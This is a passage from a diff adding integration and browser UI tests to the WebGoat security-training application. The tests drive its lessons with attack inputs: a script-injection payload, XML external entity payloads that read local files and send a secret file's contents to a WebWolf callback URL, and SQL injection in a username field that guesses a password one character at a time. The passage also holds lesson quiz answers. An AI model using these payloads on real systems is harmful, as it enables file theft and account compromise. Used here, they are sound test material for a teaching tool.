+    startLesson("WebWolfIntroduction");
+
+    // Assignment 3
+    Map<String, Object> params = new HashMap<>();
+    params.put("email", this.getUser() + "@webgoat.org");
+      checkAssignment(webGoatUrlConfig.url("WebWolf/mail/send"), params, false);
+
+    String responseBody =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(webWolfUrlConfig.url("mail"))
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+
+    String uniqueCode = responseBody.replace("%20", " ");
+    uniqueCode =
+        uniqueCode.substring(
+            21 + uniqueCode.lastIndexOf("your unique code is: "),
+            uniqueCode.lastIndexOf("your unique code is: ") + (21 + this.getUser().length()));
+    params.clear();
+    params.put("uniqueCode", uniqueCode);
+      checkAssignment(webGoatUrlConfig.url("WebWolf/mail"), params, true);
+
+    // Assignment 4
+      RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .queryParams(params)
+        .get(webGoatUrlConfig.url("WebWolf/landing/password-reset"))
+        .then()
+        .statusCode(200);
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("WEBWOLFSESSION", getWebWolfCookie())
+        .queryParams(params)
+        .get(webWolfUrlConfig.url("landing"))
+        .then()
+        .statusCode(200);
+    responseBody =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(webWolfUrlConfig.url("requests"))
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+    assertTrue(responseBody.contains(uniqueCode));
+    params.clear();
+    params.put("uniqueCode", uniqueCode);
+      checkAssignment(webGoatUrlConfig.url("WebWolf/landing"), params, true);
+
+    checkResults("WebWolfIntroduction");
+  }
+}

src/it/java/org/owasp/webgoat/integration/XSSIntegrationTest.java

@@ -0,0 +1,120 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import io.restassured.RestAssured;
+import java.util.HashMap;
+import java.util.Map;
+import org.junit.jupiter.api.Test;
+
+public class XSSIntegrationTest extends IntegrationTest {
+
+  @Test
+  public void crossSiteScriptingAssignments() {
+    startLesson("CrossSiteScripting");
+
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("checkboxAttack1", "value");
+      checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack1"), params, true);
+
+    params.clear();
+    params.put("QTY1", "1");
+    params.put("QTY2", "1");
+    params.put("QTY3", "1");
+    params.put("QTY4", "1");
+    params.put("field1", "<script>alert('XSS+Test')</script>");
+    params.put("field2", "111");
+      checkAssignmentWithGet(webGoatUrlConfig.url("CrossSiteScripting/attack5a"), params, true);
+
+    params.clear();
+    params.put("DOMTestRoute", "start.mvc#test");
+      checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack6a"), params, true);
+
+    params.clear();
+    params.put("param1", "42");
+    params.put("param2", "24");
+
+      String result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("webgoat-requested-by", "dom-xss-vuln")
+            .header("X-Requested-With", "XMLHttpRequest")
+            .formParams(params)
+            .post(webGoatUrlConfig.url("CrossSiteScripting/phone-home-xss"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("output");
+    String secretNumber = result.substring("phoneHome Response is ".length());
+
+    params.clear();
+    params.put("successMessage", secretNumber);
+      checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/dom-follow-up"), params, true);
+
+    params.clear();
+    params.put(
+        "question_0_solution",
+        "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then"
+            + " the browser does not know that the script is malicious.");
+    params.put(
+        "question_1_solution",
+        "Solution 3: The data is included in dynamic content that is sent to a web user without"
+            + " being validated for malicious content.");
+    params.put(
+        "question_2_solution",
+        "Solution 1: The script is permanently stored on the server and the victim gets the"
+            + " malicious script when requesting information from the server.");
+    params.put(
+        "question_3_solution",
+        "Solution 2: They reflect the injected script off the web server. That occurs when input"
+            + " sent to the web server is part of the request.");
+    params.put(
+        "question_4_solution",
+        "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that"
+            + " the browser executes.");
+      checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/quiz"), params, true);
+
+    params.clear();
+    params.put(
+        "editor",
+        "<%@ taglib uri=\"https://www.owasp.org/index.php/OWASP_Java_Encoder_Project\" %>"
+            + "<html>"
+            + "<head>"
+            + "<title>Using GET and POST Method to Read Form Data</title>"
+            + "</head>"
+            + "<body>"
+            + "<h1>Using POST Method to Read Form Data</h1>"
+            + "<table>"
+            + "<tbody>"
+            + "<tr>"
+            + "<td><b>First Name:</b></td>"
+            + "<td>${e:forHtml(param.first_name)}</td>"
+            + "</tr>"
+            + "<tr>"
+            + "<td><b>Last Name:</b></td>"
+            + "<td>${e:forHtml(param.last_name)}</td>"
+            + "</tr>"
+            + "</tbody>"
+            + "</table>"
+            + "</body>"
+            + "</html>");
+      checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack3"), params, true);
+
+    params.clear();
+    params.put(
+        "editor2",
+        "Policy.getInstance(\"antisamy-slashdot.xml\");"
+            + "Sammy s = new AntiSamy();"
+            + "s.scan(newComment,\"\");"
+            + "CleanResults();"
+            + "MyCommentDAO.addComment(threadID, userID).getCleanHTML());");
+      checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack4"), params, true);
+
+    checkResults("CrossSiteScripting");
+  }
+}

src/it/java/org/owasp/webgoat/integration/XXEIntegrationTest.java

@@ -0,0 +1,121 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import java.io.IOException;
+import org.junit.jupiter.api.Test;
+
+public class XXEIntegrationTest extends IntegrationTest {
+
+  private static final String xxe3 =
+      """
+<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
+""";
+  private static final String xxe4 =
+      """
+<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
+""";
+  private static final String dtd7 =
+      """
+<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
+""";
+  private static final String xxe7 =
+      """
+<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
+""";
+
+  private String webGoatHomeDirectory;
+
+  // TODO fix me
+  //  /*
+  //   * This test is to verify that all is secure when XXE security patch is applied.
+  //   */
+  //  @Test
+  //  public void xxeSecure() throws IOException {
+  //    startLesson("XXE");
+  //    webGoatHomeDirectory = webGoatServerDirectory();
+  //    RestAssured.given()
+  //        .when()
+  //        .relaxedHTTPSValidation()
+  //        .cookie("JSESSIONID", getWebGoatCookie())
+  //        .get(url("service/enable-security.mvc"))
+  //        .then()
+  //        .statusCode(200);
+  //    checkAssignment(url("xxe/simple"), ContentType.XML, xxe3, false);
+  //    checkAssignment(url("xxe/content-type"), ContentType.XML, xxe4, false);
+  //    checkAssignment(
+  //        url("xxe/blind"),
+  //        ContentType.XML,
+  //        "<comment><text>" + getSecret() + "</text></comment>",
+  //        false);
+  //  }
+
+  /**
+   * This performs the steps of the exercise before the secret can be committed in the final step.
+   *
+   * @return
+   */
+  private String getSecret() {
+    String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
+    String webWolfCallback = webWolfUrlConfig.url("landing");
+    String dtd7String = dtd7.replace("WEBWOLFURL", webWolfCallback).replace("SECRET", secretFile);
+
+    // upload DTD
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("WEBWOLFSESSION", getWebWolfCookie())
+        .multiPart("file", "blind.dtd", dtd7String.getBytes())
+        .post(webWolfUrlConfig.url("fileupload"))
+        .then()
+        .extract()
+        .response()
+        .getBody()
+        .asString();
+
+    // upload attack
+    String xxe7String =
+        xxe7.replace("WEBWOLFURL", webWolfUrlConfig.url("files"))
+            .replace("USERNAME", this.getUser());
+      checkAssignment(webGoatUrlConfig.url("xxe/blind"), ContentType.XML, xxe7String, false);
+
+    // read results from WebWolf
+    String result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(webWolfUrlConfig.url("requests"))
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+    result = result.replace("%20", " ");
+    if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
+      result =
+          result.substring(
+              result.lastIndexOf("WebGoat 8.0 rocks... ("),
+              result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
+    }
+    return result;
+  }
+
+  @Test
+  public void runTests() throws IOException {
+    startLesson("XXE", true);
+    webGoatHomeDirectory = webGoatServerDirectory();
+      checkAssignment(webGoatUrlConfig.url("xxe/simple"), ContentType.XML, xxe3, true);
+      checkAssignment(webGoatUrlConfig.url("xxe/content-type"), ContentType.XML, xxe4, true);
+      checkAssignment(
+              webGoatUrlConfig.url("xxe/blind"),
+        ContentType.XML,
+        "<comment><text>" + getSecret() + "</text></comment>",
+        true);
+    checkResults("XXE");
+  }
+}

src/it/java/org/owasp/webgoat/playwright/webgoat/LoginUITest.java

@@ -0,0 +1,31 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.playwright.webgoat;
+
+import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
+
+import com.microsoft.playwright.Browser;
+import com.microsoft.playwright.Page;
+import com.microsoft.playwright.options.AriaRole;
+import org.junit.jupiter.api.Test;
+import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
+import org.owasp.webgoat.playwright.webgoat.pages.WebGoatLoginPage;
+
+class LoginUITest extends PlaywrightTest {
+
+  @Test
+  void loginLogout(Browser browser) {
+    var page = Authentication.tweety(browser);
+    var loginPage = new WebGoatLoginPage(page);
+    loginPage.open();
+    loginPage.login(Authentication.getTweety().name(), Authentication.getTweety().password());
+
+    // logout
+    page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("")).click();
+    page.getByRole(AriaRole.MENUITEM, new Page.GetByRoleOptions().setName("Logout")).click();
+
+    assertThat(loginPage.getSignInButton()).isVisible();
+  }
+}

src/it/java/org/owasp/webgoat/playwright/webgoat/PlaywrightTest.java

@@ -0,0 +1,42 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.playwright.webgoat;
+
+import com.microsoft.playwright.Browser;
+import com.microsoft.playwright.junit.Options;
+import com.microsoft.playwright.junit.OptionsFactory;
+import com.microsoft.playwright.junit.UsePlaywright;
+import org.owasp.webgoat.ServerUrlConfig;
+
+@UsePlaywright(PlaywrightTest.WebGoatOptions.class)
+public class PlaywrightTest {
+
+  private static final ServerUrlConfig webGoatUrlConfig = ServerUrlConfig.webGoat();
+  private static final ServerUrlConfig webWolfUrlConfig = ServerUrlConfig.webWolf();
+
+  public static class WebGoatOptions implements OptionsFactory {
+    @Override
+    public Options getOptions() {
+      return new Options()
+              .setHeadless(true)
+              .setContextOptions(getContextOptions());
+    }
+
+  }
+
+  protected static Browser.NewContextOptions getContextOptions() {
+    return new Browser.NewContextOptions()
+            .setLocale("en-US")
+            .setBaseURL(webGoatUrlConfig.getBaseUrl());
+  }
+
+  public static String webGoatUrl(String path) {
+    return webGoatUrlConfig.url(path);
+  }
+
+  public static String webWolfURL(String path) {
+    return webWolfUrlConfig.url(path);
+  }
+}

src/it/java/org/owasp/webgoat/playwright/webgoat/RegistrationUITest.java

@@ -0,0 +1,48 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.playwright.webgoat;
+
+import static org.assertj.core.api.Assertions.assertThat;
+
+import com.microsoft.playwright.Browser;
+import org.junit.jupiter.api.DisplayName;
+import org.junit.jupiter.api.Test;
+import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
+import org.owasp.webgoat.playwright.webgoat.pages.RegistrationPage;
+import org.owasp.webgoat.playwright.webgoat.pages.WebGoatLoginPage;
+
+public class RegistrationUITest extends PlaywrightTest {
+
+  @Test
+  @DisplayName("Should register a new user while logged in as other user")
+  void registerWhileLoggedIn(Browser browser) {
+    var page = Authentication.tweety(browser);
+    var loginPage = new WebGoatLoginPage(page);
+    loginPage.open();
+    loginPage.login(Authentication.getTweety().name(), Authentication.getTweety().password());
+
+    var newUsername = "newuser" + System.currentTimeMillis();
+    var password = "password123";
+    var registrationPage = new RegistrationPage(page);
+    registrationPage.open();
+    registrationPage.register(newUsername, password);
+
+    assertThat(page.content()).contains(newUsername);
+  }
+
+  @Test
+  @DisplayName("Should register a new user")
+  void registerNewUser(Browser browser) {
+    var page = browser.newContext(new Browser.NewContextOptions().setLocale("en-US")).newPage();
+    var registrationPage = new RegistrationPage(page);
+    registrationPage.open();
+
+    var newUsername = "newuser" + System.currentTimeMillis();
+    var password = "password123";
+    registrationPage.register(newUsername, password);
+
+    assertThat(page.content()).contains(newUsername);
+  }
+}

src/it/java/org/owasp/webgoat/playwright/webgoat/helpers/Authentication.java

@@ -0,0 +1,65 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.playwright.webgoat.helpers;
+
+import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
+
+import com.microsoft.playwright.Browser;
+import com.microsoft.playwright.Page;
+import lombok.Getter;
+import org.owasp.webgoat.playwright.webgoat.pages.RegistrationPage;
+import org.owasp.webgoat.playwright.webgoat.pages.WebGoatLoginPage;
+import org.owasp.webgoat.playwright.webwolf.pages.WebWolfLoginPage;
+
+/**
+ * Helper class to authenticate users in WebGoat and WebWolf.
+ *
+ * <p>It provides two users: sylvester and tweety. The users are authenticated by logging in to
+ * WebGoat and WebWolf. Once authenticated, the user's authentication token is stored in the browser
+ * and reused for subsequent requests.
+ */
+public class Authentication {
+
+  public record User(String name, String password, String auth) {
+    boolean loggedIn() {
+      return auth != null;
+    }
+  }
+
+  @Getter private static User sylvester = new User("sylvester", "sylvester", null);
+  @Getter private static User tweety = new User("tweety", "tweety", null);
+
+  public static Page sylvester(Browser browser) {
+    User user = login(browser, sylvester);
+    return browser.newContext(new Browser.NewContextOptions().setLocale("en-US").setStorageState(user.auth)).newPage();
+  }
+
+  public static Page tweety(Browser browser) {
+    User user = login(browser, tweety);
+    return browser.newContext(new Browser.NewContextOptions().setLocale("en-US").setStorageState(user.auth)).newPage();
+  }
+
+  private static User login(Browser browser, User user) {
+    if (user.loggedIn()) {
+      return user;
+    }
+    var page = browser.newContext(new Browser.NewContextOptions().setLocale("en-US")).newPage();
+    RegistrationPage registrationPage = new RegistrationPage(page);
+    registrationPage.open();
+    registrationPage.register(user.name, user.password);
+
+    WebGoatLoginPage loginPage = new WebGoatLoginPage(page);
+    loginPage.open();
+    loginPage.login(user.name, user.password);
+    assertThat(loginPage.getSignInButton()).not().isVisible();
+
+    WebWolfLoginPage webWolfLoginPage = new WebWolfLoginPage(page);
+    webWolfLoginPage.open();
+    webWolfLoginPage.login(user.name, user.password);
+    assertThat(loginPage.getSignInButton()).not().isVisible();
+
+    return new User(user.name, user.password, page.context().storageState());
+  }
+}

src/it/java/org/owasp/webgoat/playwright/webgoat/lessons/HttpBasicsLessonUITest.java

@@ -0,0 +1,84 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.playwright.webgoat.lessons;
+
+import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
+
+import com.microsoft.playwright.*;
+import org.assertj.core.api.Assertions;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.DisplayName;
+import org.junit.jupiter.api.MethodOrderer;
+import org.junit.jupiter.api.Order;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.TestMethodOrder;
+import org.owasp.webgoat.container.lessons.LessonName;
+import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
+import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
+import org.owasp.webgoat.playwright.webgoat.pages.lessons.HttpBasicsLessonPage;
+
+@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
+public class HttpBasicsLessonUITest extends PlaywrightTest {
+
+  private HttpBasicsLessonPage lessonPage;
+
+  @BeforeEach
+  void navigateToLesson(Browser browser) {
+    var lessonName = new LessonName("HttpBasics");
+    var page = Authentication.sylvester(browser);
+
+    this.lessonPage = new HttpBasicsLessonPage(page);
+    lessonPage.resetLesson(lessonName);
+    lessonPage.open(lessonName);
+  }
+
+  @Test
+  @Order(1)
+  void shouldShowDefaultPage() {
+    assertThat(lessonPage.getTitle()).hasText("HTTP Basics");
+    Assertions.assertThat(lessonPage.noAssignmentsCompleted()).isTrue();
+    Assertions.assertThat(lessonPage.numberOfAssignments()).isEqualTo(2);
+  }
+
+  @Test
+  @Order(2)
+  @DisplayName(
+      "When the user enters their name, the server should reverse it then the assignment should be"
+          + " solved")
+  void solvePage2() {
+    lessonPage.navigateTo(2);
+    lessonPage.getEnterYourName().fill("John Doe");
+    lessonPage.getGoButton().click();
+
+    assertThat(lessonPage.getAssignmentOutput())
+        .containsText("The server has reversed your name: eoD nhoJ");
+    Assertions.assertThat(lessonPage.isAssignmentSolved(2)).isTrue();
+  }
+
+  @Test
+  @Order(3)
+  @DisplayName("When the user enters nothing then the server should display an error message")
+  void invalidPage2() {
+    lessonPage.navigateTo(2);
+    lessonPage.getEnterYourName().fill("");
+    lessonPage.getGoButton().click();
+
+    assertThat(lessonPage.getAssignmentOutput()).containsText("Try again, name cannot be empty.");
+  }
+
+  @Test
+  @Order(4)
+  @DisplayName(
+      "Given Sylvester solves the first assignment when Tweety logs in then the first assignment should NOT be solved")
+  void shouldNotSolvePage1(Browser browser) {
+    lessonPage.navigateTo(2);
+    lessonPage.getEnterYourName().fill("John Doe");
+    lessonPage.getGoButton().click();
+
+    var tweetyLessonPage = new HttpBasicsLessonPage(Authentication.tweety(browser));
+    tweetyLessonPage.open(new LessonName("HttpBasics"));
+    Assertions.assertThat(tweetyLessonPage.noAssignmentsCompleted()).isTrue();
+  }
+}

src/it/java/org/owasp/webgoat/playwright/webgoat/lessons/SqlInjectionAdvancedUITest.java

@@ -0,0 +1,120 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.playwright.webgoat.lessons;
+
+import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
+
+import com.microsoft.playwright.Browser;
+import com.microsoft.playwright.Page;
+import com.microsoft.playwright.Page.GetByRoleOptions;
+import com.microsoft.playwright.options.AriaRole;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.DisplayName;
+import org.junit.jupiter.api.Test;
+import org.owasp.webgoat.container.lessons.LessonName;
+import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
+import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
+import org.owasp.webgoat.playwright.webgoat.pages.lessons.LessonPage;
+
+public class SqlInjectionAdvancedUITest extends PlaywrightTest {
+
+  private LessonPage lessonPage;
+
+  @BeforeEach
+  void navigateToLesson(Browser browser) {
+    var lessonName = new LessonName("SqlInjectionAdvanced");
+    var page = Authentication.sylvester(browser);
+
+    this.lessonPage = new LessonPage(page);
+    lessonPage.resetLesson(lessonName);
+    lessonPage.open(lessonName);
+  }
+
+  @Test
+  @DisplayName("Login as Tom with incorrect password")
+  void loginAsTomWithIncorrectPassword() {
+    lessonPage.navigateTo(5);
+    var page = lessonPage.getPage();
+    page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Login")).click();
+    page.locator("[name='username_login']").fill("tom");
+    page.locator("[name='password_login']").fill("test");
+    page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Log In")).click();
+
+    assertThat(lessonPage.getAssignmentOutput())
+        .containsText("Wrong username or password. Try again.");
+  }
+
+  @Test
+  @DisplayName("Login as Tom with correct password")
+  void loginAsTomWithCorrectPassword() {
+    lessonPage.navigateTo(5);
+    var page = lessonPage.getPage();
+    page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Login")).click();
+    page.locator("[name='username_login']").fill("tom");
+    page.locator("[name='password_login']").fill("thisisasecretfortomonly");
+    page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Log In")).click();
+
+    lessonPage.isAssignmentSolved(5);
+  }
+
+  @Test
+  @DisplayName("Register as Tom should show error that Tom already exists")
+  void registerAsTomShouldDisplayError() {
+    lessonPage.navigateTo(5);
+    var page = lessonPage.getPage();
+    page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Register")).click();
+    page.locator("[name='username_reg']").fill("tom");
+    page.locator("[name='email_reg']").fill("tom@tom.org");
+    page.locator("[name='password_reg']").fill("test");
+    page.locator("[name='confirm_password_reg']").fill("test");
+    page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Register Now")).click();
+
+    assertThat(lessonPage.getAssignmentOutput()).containsText("User tom already exists");
+  }
+
+  @Test
+  @DisplayName(
+      "Using SQL Injection to register as Tom to guess the password and the guess is correct")
+  void startGuessingCorrect() {
+    lessonPage.navigateTo(5);
+    var page = lessonPage.getPage();
+    page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Register")).click();
+    page.locator("[name='username_reg']").fill("tom' AND substring(password,1,1)='t");
+    page.locator("[name='email_reg']").fill("tom@tom.org");
+    page.locator("[name='password_reg']").fill("test");
+    page.locator("[name='confirm_password_reg']").fill("test");
+    page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Register Now")).click();
+
+    assertThat(lessonPage.getAssignmentOutput())
+        .containsText("User tom' AND substring(password,1,1)='t already exists");
+  }
+
+  @Test
+  @DisplayName(
+      "Using SQL Injection to register as Tom to guess the password and the guess is incorrect")
+  void startGuessingIncorrect() {
+    lessonPage.navigateTo(5);
+    var page = lessonPage.getPage();
+    page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Register")).click();
+    page.locator("[name='username_reg']").fill("tom' AND substring(password,1,1)='a");
+    page.locator("[name='email_reg']").fill("tom@tom.org");
+    page.locator("[name='password_reg']").fill("test");
+    page.locator("[name='confirm_password_reg']").fill("test");
+    page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Register Now")).click();
+
+    assertThat(lessonPage.getAssignmentOutput())
+        .containsText(
+            "User tom' AND substring(password,1,1)='a created, please proceed to the login page.");
+  }
+
+  @Test
+  @DisplayName("Should display correct hints")
+  void shouldDisplayCorrectHints() {
+    lessonPage.navigateTo(5);
+    var page = lessonPage.getPage();
+    page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("Show hints")).click();
+    assertThat(lessonPage.getAssignmentOutput()).containsText("Look at the different");
+  }
+}

src/it/java/org/owasp/webgoat/playwright/webgoat/pages/RegistrationPage.java

@@ -0,0 +1,36 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.playwright.webgoat.pages;
+
+import static com.microsoft.playwright.options.AriaRole.BUTTON;
+import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webGoatUrl;
+
+import com.microsoft.playwright.Locator;
+import com.microsoft.playwright.Page;
+import com.microsoft.playwright.options.AriaRole;
+import lombok.Getter;
+
+public class RegistrationPage {
+
+  private final Page page;
+  @Getter private final Locator signUpButton;
+
+  public RegistrationPage(Page page) {
+    this.page = page;
+    this.signUpButton = this.page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign up"));
+  }
+
+  public void open() {
+    page.navigate(webGoatUrl("registration"));
+  }
+
+  public void register(String username, String password) {
+    page.getByPlaceholder("Username").fill(username);
+    page.getByLabel("Password", new Page.GetByLabelOptions().setExact(true)).fill(password);
+    page.getByLabel("Confirm password").fill(password);
+    page.getByLabel("Agree with the terms and").check();
+    page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("Sign up")).click();
+  }
+}

src/it/java/org/owasp/webgoat/playwright/webgoat/pages/WebGoatLoginPage.java

@@ -0,0 +1,33 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.playwright.webgoat.pages;
+
+import static com.microsoft.playwright.options.AriaRole.BUTTON;
+import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webGoatUrl;
+
+import com.microsoft.playwright.Locator;
+import com.microsoft.playwright.Page;
+import lombok.Getter;
+
+public class WebGoatLoginPage {
+
+  private final Page page;
+  @Getter private final Locator signInButton;
+
+  public WebGoatLoginPage(Page page) {
+    this.page = page;
+    this.signInButton = this.page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign in"));
+  }
+
+  public void open() {
+    page.navigate(webGoatUrl("login"));
+  }
+
+  public void login(String username, String password) {
+    page.getByPlaceholder("Username").fill(username);
+    page.getByPlaceholder("Password").fill(password);
+    page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign in")).click();
+  }
+}

src/it/java/org/owasp/webgoat/playwright/webgoat/pages/lessons/HttpBasicsLessonPage.java

@@ -0,0 +1,28 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.playwright.webgoat.pages.lessons;
+
+import com.microsoft.playwright.Locator;
+import com.microsoft.playwright.Page;
+import com.microsoft.playwright.options.AriaRole;
+import lombok.Getter;
+
+@Getter
+public class HttpBasicsLessonPage extends LessonPage {
+
+  private final Locator enterYourName;
+  private final Locator goButton;
+
+  public HttpBasicsLessonPage(Page page) {
+    super(page);
+    enterYourName = page.locator("input[name=\"person\"]");
+    goButton = page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("Go!"));
+  }
+
+  public Locator getTitle() {
+    return getPage()
+        .getByRole(AriaRole.HEADING, new Page.GetByRoleOptions().setName("HTTP Basics"));
+  }
+}

src/it/java/org/owasp/webgoat/playwright/webgoat/pages/lessons/LessonPage.java

@@ -0,0 +1,72 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.playwright.webgoat.pages.lessons;
+
+import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webGoatUrl;
+
+import com.microsoft.playwright.Locator;
+import com.microsoft.playwright.Page;
+import com.microsoft.playwright.options.AriaRole;
+import lombok.Getter;
+import org.assertj.core.api.Assertions;
+import org.owasp.webgoat.container.lessons.LessonName;
+
+@Getter
+public class LessonPage {
+
+  private final Page page;
+
+  public LessonPage(Page page) {
+    this.page = page;
+  }
+
+  public void navigateTo(int pageNumber) {
+    page.getByRole(AriaRole.LINK, new Page.GetByRoleOptions().setName("" + pageNumber)).click();
+  }
+
+  public void open(LessonName lessonName) {
+    page.navigate(webGoatUrl("start.mvc#lesson/%s".formatted(lessonName.lessonName())));
+  }
+
+  /**
+   * Force a reload for the UI to response, this is normally done by a JavaScript reloading every 5
+   * seconds
+   */
+  public void refreshPage() {
+    page.reload();
+  }
+
+  public void resetLesson(LessonName lessonName) {
+    Assertions.assertThat(
+            page.request()
+                .get(webGoatUrl("service/restartlesson.mvc/%s".formatted(lessonName)))
+                .ok())
+        .isTrue();
+    refreshPage();
+  }
+
+  public int numberOfAssignments() {
+    return page.locator(".attack-link.solved-false").count()
+        + page.locator(".attack-link.solved-true").count();
+  }
+
+  public boolean isAssignmentSolved(int pageNumber) {
+    var solvedAssignments = page.locator(".attack-link.solved-true");
+    solvedAssignments.waitFor();
+    return solvedAssignments.all().stream().anyMatch(l -> l.textContent().equals("" + pageNumber));
+  }
+
+  public boolean noAssignmentsCompleted() {
+    return page.locator(".attack-link.solved-true").count() == 0;
+  }
+
+  public Locator getAssignmentOutput() {
+    return page.locator("#lesson-content-wrapper");
+  }
+
+  public Locator getHintsOutput() {
+    return page.locator("#lesson-hint");
+  }
+}

src/it/java/org/owasp/webgoat/playwright/webwolf/JwtUITest.java

@@ -0,0 +1,36 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.playwright.webwolf;
+
+import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
+
+import com.microsoft.playwright.Browser;
+import org.junit.jupiter.api.Test;
+import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
+import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
+
+class JwtUITest extends PlaywrightTest {
+
+  @Test
